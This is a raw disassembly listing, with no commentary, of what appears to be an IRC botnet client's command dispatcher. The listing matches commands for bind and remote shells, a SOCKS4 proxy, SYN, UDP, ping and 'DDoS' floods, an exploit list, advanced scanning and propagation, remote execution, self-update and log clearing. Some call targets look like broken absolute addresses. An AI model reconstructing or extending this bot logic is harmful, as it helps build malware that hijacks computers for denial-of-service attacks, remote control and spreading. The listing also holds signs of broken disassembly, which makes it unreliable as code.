lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_700]
push ebx
push eax
push offset dword_4108BC
push ebx
push ebx
call near ptr 26A08FFh
nop
mov ecx, [ebp+var_55C]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_403A5E
loc_403A48: ; CODE XREF: sub_403038+A24j
cmp [ebp+var_550], ebx
jnz loc_403953
push 32h
nop
call near ptr 2690599h
jmp short loc_403A48
; ---------------------------------------------------------------------------
loc_403A5E: ; CODE XREF: sub_403038+A0Ej
nop
call near ptr 26908EFh
push eax
push offset unk_4379DC
jmp loc_403920
; ---------------------------------------------------------------------------
loc_403A6F: ; CODE XREF: sub_403038+954j
lea eax, [ebp+var_C0]
push eax
push offset unk_437A14
jmp loc_403920
; ---------------------------------------------------------------------------
loc_403A80: ; CODE XREF: sub_403038+944j
lea eax, [ebp+var_C0]
push eax
push offset unk_437A44
jmp loc_403920
; ---------------------------------------------------------------------------
loc_403A91: ; CODE XREF: sub_403038+6A1j
mov eax, [ebp+arg_20]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_436C28
mov [edi], ecx
jnz loc_4034D4
loc_403AA7: ; CODE XREF: sub_403038+938j
mov edi, [edi]
push edi
push offset aGogo ; "gogo"
mov [ebp+arg_20], edi
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408597
push edi
push offset aGol ; "gol"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408597
cmp [ebp+var_A4], ebx
jnz short loc_403AF8
push [ebp+var_8C]
push offset a332_1 ; "332"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_40858F
loc_403AF8: ; CODE XREF: sub_403038+AA4j
cmp [ebp+arg_28], ebx
jnz loc_40858F
xor edi, edi
cmp dword_437028, ebx
jle loc_403CAD
mov [ebp+arg_8], offset dword_445490
loc_403B16: ; CODE XREF: sub_403038+AFDj
push [ebp+arg_20]
push [ebp+arg_8]
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_403B3C
add [ebp+arg_8], 0B8h
inc edi
cmp edi, dword_437028
jl short loc_403B16
jmp loc_403CAD
; ---------------------------------------------------------------------------
loc_403B3C: ; CODE XREF: sub_403038+AEDj
push offset asc_437BD0 ; " :"
push [ebp+arg_0]
call sub_417B50
pop ecx
cmp eax, ebx
pop ecx
jz loc_4034D4
mov cl, byte_436C28
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_436C28
mov [eax+3], cl
lea ecx, dword_4454A8[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_417770
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_8], 0Fh
mov [ebp+arg_C], eax
loc_403B91: ; CODE XREF: sub_403038+C0Aj
push [ebp+arg_8]
lea eax, [ebp+var_A0]
push offset aD ; "$%d-"
push eax
call sub_4171D0
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417B50
add esp, 14h
test eax, eax
jz short loc_403BFD
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_403BFD
lea eax, dword_445490[edi]
push eax
call sub_414BE0
add [ebp+var_C], eax
pop ecx
jz short loc_403C38
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_417B50
pop ecx
cmp eax, ebx
pop ecx
jz short loc_403C38
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_411AB7
add esp, 0Ch
jmp short loc_403C38
; ---------------------------------------------------------------------------
loc_403BFD: ; CODE XREF: sub_403038+B81j
; sub_403038+B88j
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_403C38
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_417770
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_411AB7
add esp, 18h
loc_403C38: ; CODE XREF: sub_403038+B9Aj
; sub_403038+BAEj ...
dec [ebp+arg_8]
sub [ebp+arg_C], 4
cmp [ebp+arg_8], ebx
jg loc_403B91
lea eax, [ebp+esi+var_50]
mov [ebp+arg_8], 10h
mov edi, eax
loc_403C55: ; CODE XREF: sub_403038+C69j
push [ebp+arg_8]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_4171D0
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417B50
add esp, 14h
test eax, eax
jz short loc_403C98
mov eax, [edi]
cmp eax, ebx
jz short loc_403C98
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_411AB7
add esp, 0Ch
loc_403C98: ; CODE XREF: sub_403038+C45j
; sub_403038+C4Bj
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg short loc_403C55
mov [ebp+var_C8], 1
loc_403CAD: ; CODE XREF: sub_403038+AD1j
; sub_403038+AFFj
mov eax, [ebp+arg_20]
mov al, [eax]
cmp al, byte_436C28
jz short loc_403CC6
cmp [ebp+var_C8], ebx
jz loc_403EBB
loc_403CC6: ; CODE XREF: sub_403038+C80j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_411AB7
lea eax, [ebp+var_C0]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_411AB7
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_411AB7
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_408B4C
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_411AB7
add esp, 40h
push [ebp+arg_14]
push offset aServer_6 ; "$server"
push edi
call sub_411AB7
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_417B50
add esp, 14h
loc_403D38: ; CODE XREF: sub_403038+DFCj
test eax, eax
jz loc_403E39
push offset aChr_0 ; "$chr("
push [ebp+arg_0]
call sub_417B50
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417770
lea eax, [ebp+var_A0]
push offset asc_437C18 ; ")"
push eax
call sub_417620
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_403D88
cmp [ebp+var_A0], 39h
jle short loc_403D9E
loc_403D88: ; CODE XREF: sub_403038+D45j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_417770
add esp, 0Ch
loc_403D9E: ; CODE XREF: sub_403038+D4Ej
lea eax, [ebp+var_A0]
push eax
call sub_4174D0
test eax, eax
pop ecx
jle short loc_403DC4
lea eax, [ebp+var_A0]
push eax
call sub_4174D0
pop ecx
mov [ebp+var_94], al
jmp short loc_403DD8
; ---------------------------------------------------------------------------
loc_403DC4: ; CODE XREF: sub_403038+D75j
call sub_417B10
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_403DD8: ; CODE XREF: sub_403038+D8Aj
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_414BE0
mov [ebp+arg_8], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_417070
mov eax, [ebp+arg_8]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_417770
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_411AB7
push edi
push [ebp+arg_0]
call sub_417B50
add esp, 30h
jmp loc_403D38
; ---------------------------------------------------------------------------
loc_403E39: ; CODE XREF: sub_403038+D02j
mov edi, 1FFh
lea eax, [ebp+var_F84]
push edi
push [ebp+arg_0]
push eax
call sub_417770
lea eax, [ebp+var_F84]
push edi
push eax
lea eax, [ebp+var_1184]
push eax
call sub_417770
lea eax, [ebp+var_1184]
push offset asc_437C20 ; " "
push eax
call sub_417620
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_403E89: ; CODE XREF: sub_403038+E66j
push offset asc_437C24 ; " "
push ebx
call sub_417620
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_403E89
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_4034D4
add ecx, 3
mov [eax], ecx
loc_403EBB: ; CODE XREF: sub_403038+C88j
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_20], edi
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408542
push edi
push offset aRn ; "rn"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408542
push edi
push offset aDie ; "die"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4072FE
push edi
push offset aD_1 ; "d"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4072FE
push edi
push offset aLogout ; "logout"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407234
push edi
push offset aLo ; "lo"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407234
push edi
push offset aVersion ; "version"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407216
push edi
push offset aVer ; "ver"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407216
push edi
push offset aDedication ; "dedication"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40720C
push edi
push offset aDed ; "ded"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40720C
push edi
push offset aSpeedtest ; "speedtest"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4071F6
push edi
push offset aSt ; "st"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4071F6
push edi
push offset aBindshell ; "bindshell"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4070F0
push edi
push offset aBd ; "bd"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4070F0
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_404014
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_437E94
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_404014: ; CODE XREF: sub_403038+FC2j
push edi
push offset aSocks4 ; "socks4"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406FCE
push edi
push offset aS4 ; "s4"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406FCE
push edi
push offset aSocks4stop ; "socks4stop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_404067
push [ebp+esi+var_8C]
push 19h
push offset aServer_1 ; "Server"
push offset dword_437F2C
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_404067: ; CODE XREF: sub_403038+1015j
push edi
push offset aRloginstop ; "rloginstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_404090
push [ebp+esi+var_8C]
push 9
push offset aServer_2 ; "Server"
push offset dword_437F50
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_404090: ; CODE XREF: sub_403038+103Ej
push edi
push offset aHttpstop ; "httpstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4040B9
push [ebp+esi+var_8C]
push 3
push offset aServer_3 ; "Server"
push offset dword_437F74
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_4040B9: ; CODE XREF: sub_403038+1067j
push edi
push offset aLogstop ; "logstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4040E2
push [ebp+esi+var_8C]
push 25h
push offset aLogList ; "Log list"
push offset dword_437F98
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_4040E2: ; CODE XREF: sub_403038+1090j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_40410B
push [ebp+esi+var_8C]
push 18h
push offset aTcpRedirect ; "TCP redirect"
push offset dword_437FC4
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_40410B: ; CODE XREF: sub_403038+10B9j
push edi
push offset dword_437FD4
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_404134
push [ebp+esi+var_8C]
push 0Dh
push offset dword_437FE0
push offset dword_437FEC
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_404134: ; CODE XREF: sub_403038+10E2j
push edi
push offset aSynstop ; "synstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_40415D
push [ebp+esi+var_8C]
push 0Eh
push offset aSynFlood ; "Syn flood"
push offset dword_43800C
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_40415D: ; CODE XREF: sub_403038+110Bj
push edi
push offset aSkysynstop ; "skysynstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_404186
push [ebp+esi+var_8C]
push 10h
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_438034
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_404186: ; CODE XREF: sub_403038+1134j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4041AF
push [ebp+esi+var_8C]
push 11h
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_438060
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_4041AF: ; CODE XREF: sub_403038+115Dj
push edi
push offset aWonkstop ; "wonkstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4041D8
push [ebp+esi+var_8C]
push 12h
push offset aWonkFlood ; "Wonk flood"
push offset dword_438088
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_4041D8: ; CODE XREF: sub_403038+1186j
push edi
push offset aPacketstop ; "packetstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_40432E
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset aDdosFlood ; "DDoS flood"
push offset dword_4380AC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_4090E1
push esi
push 0Eh
push offset dword_4380B8
push offset dword_4380C4
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_4090E1
add esp, 40h
push esi
push 17h
push offset dword_4380D0
push offset dword_4380DC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_4090E1
push esi
push 16h
push offset dword_4380E8
push offset dword_4380F4
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_4090E1
add esp, 40h
push esi
push 11h
push offset dword_438100
push offset dword_438110
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_4090E1
push esi
push 12h
push offset dword_438120
push offset dword_43812C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_4090E1
add esp, 40h
push esi
push 0Fh
push offset dword_438138
push offset dword_438148
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_4090E1
push esi
push 13h
push offset dword_438158
push offset dword_438168
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_4090E1
add esp, 40h
push esi
push 10h
push offset dword_438178
push offset dword_438188
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_4090E1
push ebx
push [ebp+var_4]
push offset unk_438198
push [ebp+var_88]
push edi
call sub_401445
add esp, 34h
jmp loc_4034D4
; ---------------------------------------------------------------------------
loc_40432E: ; CODE XREF: sub_403038+11AFj
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_404357
push [ebp+esi+var_8C]
push 0Fh
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_4381E8
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_404357: ; CODE XREF: sub_403038+1305j
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_404380
push [ebp+esi+var_8C]
push 13h
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_438214
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_404380: ; CODE XREF: sub_403038+132Ej
push edi
push offset aUdpstop ; "udpstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4043A9
push [ebp+esi+var_8C]
push 17h
push offset aUdpFlood ; "UDP flood"
push offset dword_438238
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_4043A9: ; CODE XREF: sub_403038+1357j
push edi
push offset aPingstop ; "pingstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4043D2
push [ebp+esi+var_8C]
push 16h
push offset aPingFlood ; "Ping flood"
push offset dword_43825C
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_4043D2: ; CODE XREF: sub_403038+1380j
push edi
push offset aTftpstop ; "tftpstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4043FB
push [ebp+esi+var_8C]
push 5
push offset aServer_4 ; "Server"
push offset dword_43827C
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_4043FB: ; CODE XREF: sub_403038+13A9j
push edi
push offset aFindfilestop ; "findfilestop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F9F
push edi
push offset aFfstop ; "ffstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F9F
push edi
push offset aProcsstop ; "procsstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F8A
push edi
push offset aPsstop ; "psstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F8A
push edi
push offset aClonestop ; "clonestop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_404478
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_438308
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_404478: ; CODE XREF: sub_403038+1426j
push edi
push offset aSecurestop ; "securestop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4044A1
push [ebp+esi+var_8C]
push 22h
push offset aSecure ; "Secure"
push offset dword_43832C
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_4044A1: ; CODE XREF: sub_403038+144Fj
push edi
push offset aScanstop ; "scanstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4044CA
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_438350
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_4044CA: ; CODE XREF: sub_403038+1478j
push edi
push offset aScanstats ; "scanstats"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F74
push edi
push offset aStats ; "stats"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F74
push edi
push offset aTransferstats ; "transferstats"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F5E
push edi
push offset aTrstats ; "trstats"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F5E
push edi
push offset aExploitlist ; "exploitlist"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F48
push edi
push offset aExplist ; "explist"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F48
push edi
push offset aReconnectt ; "reconnectt"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F29
push edi
push offset aR ; "r"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F29
push edi
push offset aDisconnectt ; "disconnectt"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F07
push edi
push offset aDc ; "dc"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406F07
push edi
push offset aQuit_0 ; "quit"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406EBF
push edi
push offset aQ ; "q"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406EBF
push edi
push offset aStatus ; "status"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406E81
push edi
push offset aS_1 ; "s"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406E81
push edi
push offset aId ; "id"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406E4A
push edi
push offset aI ; "i"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406E4A
push edi
push offset aReboot ; "reboot"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_40466C
call sub_411F81
test eax, eax
mov eax, offset unk_4384AC
jnz short loc_40463E
mov eax, offset unk_4384CC
loc_40463E: ; CODE XREF: sub_403038+15FFj
push eax
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 1Ch
jmp loc_403953
; ---------------------------------------------------------------------------
loc_40466C: ; CODE XREF: sub_403038+15F1j
push edi
push offset aThreads ; "threads"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406D5C
push edi
push offset aT ; "t"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406D5C
push edi
push offset aAliases ; "aliases"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406D3C
push edi
push offset aAl ; "al"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406D3C
push edi
push offset dword_438584
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406C4C
push edi
push offset dword_438588
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406C4C
push edi
push offset aClearlog ; "clearlog"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406C30
push edi
push offset aClg ; "clg"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406C30
push edi
push offset aNetinfo ; "netinfo"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406BF9
push edi
push offset aNi ; "ni"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406BF9
push edi
push offset aSysinfo ; "sysinfo"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406BCE
push edi
push offset aSi ; "si"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406BCE
push edi
push offset aBaybayman ; "baybayman"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406B94
push edi
push offset aBamann ; "bamann"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406B94
push edi
push offset aProcs ; "procs"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406A74
push edi
push offset aPs ; "ps"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406A74
push edi
push offset aUptime ; "uptime"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4069F0
push edi
push offset aUp ; "up"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4069F0
push edi
push offset aDriveinfo ; "driveinfo"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4069D3
push edi
push offset aDrv ; "drv"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4069D3
push edi
push offset aTestdlls ; "testdlls"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4069BA
push edi
push offset aDll ; "dll"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4069BA
push edi
push offset aOpencmd ; "opencmd"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40697B
push edi
push offset aOcmd ; "ocmd"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40697B
push edi
push offset aCmdstop ; "cmdstop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_40488D
push [ebp+esi+var_8C]
push 0Ah
push offset aRemoteShell ; "Remote shell"
push offset dword_4387DC
jmp loc_406FB2
; ---------------------------------------------------------------------------
loc_40488D: ; CODE XREF: sub_403038+183Bj
push edi
push offset dword_4387E8
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_404E42
cmp [ebp+var_8], ebx
jnz short loc_4048C1
push ebx
push [ebp+var_4]
push offset dword_4387EC
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 14h
loc_4048C1: ; CODE XREF: sub_403038+186Dj
mov eax, [ebp+arg_18]
mov [ebp+arg_0], ebx
mov [ebp+arg_18], eax
jmp short loc_4048CF
; ---------------------------------------------------------------------------
loc_4048CC: ; CODE XREF: sub_403038+18E3j
mov eax, [ebp+arg_18]
loc_4048CF: ; CODE XREF: sub_403038+1892j
cmp [eax], bl
jz short loc_4048D6
inc eax
jmp short loc_4048DB
; ---------------------------------------------------------------------------
loc_4048D6: ; CODE XREF: sub_403038+1899j
mov eax, offset dword_438800
loc_4048DB: ; CODE XREF: sub_403038+189Cj
push eax
lea eax, [ebp+var_2E4]
push [ebp+arg_0]
push offset dword_438808
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add [ebp+arg_18], 80h
add esp, 24h
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
jl short loc_4048CC
push offset unk_438810
call sub_410557
pop ecx
loc_404928: ; CODE XREF: sub_403038+28EFj
; sub_403038+42DAj
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_4034D4
push edi
push offset aKilllog ; "killlog"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40851F
push edi
push offset aKl ; "kl"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40851F
push edi
push offset aAddalias ; "addalias"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4084D9
push edi
push offset aAa ; "aa"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4084D9
push edi
push offset aPrivmsg_2 ; "privmsg"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408478
push edi
push offset aPm ; "pm"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408478
push edi
push offset aAction ; "action"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4083FF
push edi
push offset aA ; "a"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4083FF
push edi
push offset aCycle ; "cycle"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408396
push edi
push offset aCy ; "cy"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408396
push edi
push offset aMode ; "mode"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408351
push edi
push offset aM ; "m"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408351
push edi
push offset aC_raw ; "c_raw"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4082DF
push edi
push offset aC_r ; "c_r"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4082DF
push edi
push offset aC_mode ; "c_mode"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408256
push edi
push offset aC_m ; "c_m"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408256
push edi
push offset aC_nick ; "c_nick"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4081DE
push edi
push offset aC_n ; "c_n"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4081DE
push edi
push offset aC_join ; "c_join"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40818B
push edi
push offset aC_j ; "c_j"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40818B
push edi
push offset aC_part ; "c_part"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408121
push edi
push offset aC_p ; "c_p"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408121
push edi
push offset aUpdateroooom ; "updateroooom"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407F9F
push edi
push offset aUproo ; "uproo"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407F9F
push edi
push offset aExecute ; "execute"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407F06
push edi
push offset aE ; "e"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407F06
push edi
push offset aMydear ; "mydear"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407D8C
push edi
push offset aMydear_0 ; "mydear"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407D8C
push edi
push offset aRedirect ; "redirect"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407C88
push edi
push offset aRd ; "rd"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407C88
push edi
push offset aScan ; "scan"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407B8B
push edi
push offset aSc ; "sc"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407B8B
push edi
push offset aC_privmsg ; "c_privmsg"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407AA3
push edi
push offset aC_pm ; "c_pm"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407AA3
push edi
push offset aC_action ; "c_action"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40797B
push edi
push offset aC_a ; "c_a"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40797B
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_4034D4
push edi
push offset aPortscan ; "portscan"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40786B
push edi
push offset aPsc ; "psc"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40786B
push edi
push offset aAdvscan ; "advscan"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407382
push edi
push offset aAsc ; "asc"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_407382
push edi
push offset aEmail ; "email"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_407324
push [ebp+esi+var_8C]
lea eax, [ebp+var_4E4]
push eax
call sub_4184C0
push [ebp+arg_0]
call sub_4174D0
push [ebp+esi+var_84]
mov [ebp+arg_0], eax
